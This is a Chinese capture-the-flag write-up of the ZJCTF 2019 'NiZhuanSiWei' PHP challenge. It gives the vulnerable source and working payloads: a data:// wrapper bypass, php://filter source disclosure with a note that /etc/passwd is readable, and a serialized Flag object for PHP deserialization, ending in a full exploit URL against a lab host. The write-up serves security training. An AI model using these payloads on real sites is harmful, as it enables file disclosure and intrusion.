[ZJCTF 2019]NiZhuanSiWei


0x00知識點

1:data偽協議寫入文件
2:php://

php://filter用於讀取源碼
php://input用於執行php代碼

3反序列化

0x01解題

打開題目,給了我們源碼

<?php  
$text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}?>

第一個繞過:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

這里需要我們傳入一個文件且其內容為welcome to the zjctf,這樣的話往后面看沒有其他可以利用的點,我們就無法寫入文件再讀取,就剩下了一個data偽協議。data協議通常是用來執行PHP代碼,然而我們也可以將內容寫入data協議中然后讓file_get_contents函數取讀取。構造如下:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

當然也可以不需要base64,但是一般為了繞過某些過濾都會用到base64。data://text/plain,welcome to the zjctf

第二個繞過

$file = $_GET["file"];
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

這里有file參數可控,但是無法直接讀取flag,可以直接讀取/etc/passwd,但針對php文件我們需要進行base64編碼,否則讀取不到其內容,所以以下無法使用:

file=useless.php

所以下面采用filter來讀源碼,但上面提到過針對php文件需要base64編碼,所以使用其自帶的base64過濾器。

php://filter/read=convert.base64-encode/resource=useless.php

讀到的useless.php內容如下:

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

第三個繞過

$password = $_GET["password"];
include($file);  //useless.php
$password = unserialize($password);
echo $password;

這里的file是我們可控的,所以在本地測試后有執行下面代碼即可出現payload:

<?php  
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后payload

http://6619a3b1-daa6-4ab9-bb3d-ba8b90593516.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D

參考鏈接https://www.redmango.top/articles/article/40/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM